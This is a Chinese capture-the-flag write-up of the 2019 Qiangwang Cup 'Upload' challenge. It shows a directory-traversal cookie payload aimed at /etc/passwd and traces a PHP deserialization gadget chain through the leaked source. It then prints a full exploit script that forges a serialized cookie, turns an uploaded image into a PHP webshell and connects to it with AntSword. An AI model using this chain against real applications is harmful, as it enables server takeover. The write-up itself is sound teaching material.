[强网杯 2019]Upload

解题:

开局注册登录上去

[强网杯 2019]Upload_3d

经探测,发现可以上传png图片,同时上传目录可直接访问:

[强网杯 2019]Upload_序列化_02

同时发现cookie有序列化内容:

[强网杯 2019]Upload_魔术方法_03

解码后得到:

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";N;}

上传png后,序列化变为:

a:5:{s:2:"ID";i:3;s:8:"username";s:5:"admin";s:5:"email";s:16:"508714634@qq.com";s:8:"password";s:32:"202cb962ac59075b964b07152d234b70";s:3:"img";s:79:"../upload/94d5c96a4aeb40339e4b82f2e87e066f/9455f1d638ff02cc6b7d657bf3afdcb7.png";}

尝试直接改序列化进行目录穿越

a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";}

页面直接跳转至登录页面,猜测不能直接修改序列化内容。

根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露:

http://ce3b7ba2-a8d8-43a1-bc12-e08f16ddd566.node3.buuoj.cn/www.tar.gz

使用phpstorm打开后,首先发现存在两个断点hint

[强网杯 2019]Upload_php_04

[强网杯 2019]Upload_序列化_05

application/web/controller/Index.php里的:

首先访问大部分页面例如index都会调用login_check方法。

该方法会先将传入的用户Profile反序列化,而后到数据库中检查相关信息是否一致。

application/web/controller/Register.php里的:

Register的析构方法,估计是想判断注没注册,没注册的给调用check也就是Index.phpindex方法,也就是跳到主页了

然后看上传逻辑代码:

[强网杯 2019]Upload_上传_06

先查看是否登录,在判断文件是否为空,再解析图片判断是否为正常图片,再从临时文件拷贝到目标路径。

其中操作

if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);

跟进$this->filename_tmp$this->filename,发现没有过滤等限制,唯一阻碍:

if(!empty($_FILES)){
    $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
    $this->filename=md5($_FILES['upload_file']['name']).".png";
    $this->ext_check();
}

但我们可以通过直接GET请求,不进入该if判断。

if($this->checker){
    if(!$this->checker->login_check()){
        $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
        $this->redirect($curr_url,302);
        exit();
    }
}

同时该校验也可如法炮制,可直接通过设置类中属性进行bypass,不进入if判断。

到此为止可得到类的部分构造:

public $checker=0;
public $filename_tmp='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png';
public $filename='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/w0s1np.php';

(注:该处路径是../public/upload/,从代码@chdir("../public/upload");可发现)

当该值进入upload_img函数后,即可利用copy成功复制出php文件。但是新的问题来了,如何通过反序列化直接调用upload_img函数。

Profile_call_get两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get会直接从except里找,_call会调用自身的name成员变量所指代的变量所指代的方法。

[强网杯 2019]Upload_3d_07

我们知道当对象调用不可访问属性时,就会自动触发__get魔法方法,而在对象调用不可访问函数时,就会自动触发__call魔法方法。

那么寻找触发方式可以发现文件web/controller/Register.php,关键部分如下:

class Register extends Controller
{
    public $checker;
    public $registed;

    public function __construct()
    {
        $this->checker=new Index();
    }

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }
}

我们可以让checker为类Index,然后调用不存在的index(),就会触发__call魔术方法:

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

$name就是index,这里就调用了不存在属性index,调用__get魔术方法,从而变成return $this->except['index'];

那么我们只要在构造序列化时,将except赋值为数组,如下:

public $except=array('index'=>'upload_img');

即可在类Register进行__destruct()时,成功触发upload_img函数,进行文件复制和改名。

综合上述pop链,我们可以构造如下exp:

<?php
namespace app\web\controller;
class Profile
{
    public $checker=0;
    public $filename_tmp="../public/upload/94d5c96a4aeb40339e4b82f2e87e066f/d87883d1ce82819ff448e297d525881e.png";
    public $filename="../public/upload/94d5c96a4aeb40339e4b82f2e87e066f/w0s1np.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');

}
class Register
{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));

[强网杯 2019]Upload_3d_08

注意这里需要改了cookie多去刷新下

然后连蚂蚁的剑,就可以了

参考:

https://skysec.top/2019/05/25/2019-强网杯online-Web-Writeup/

膜死sky师傅了,可惜不认识,其实很想认识这位师傅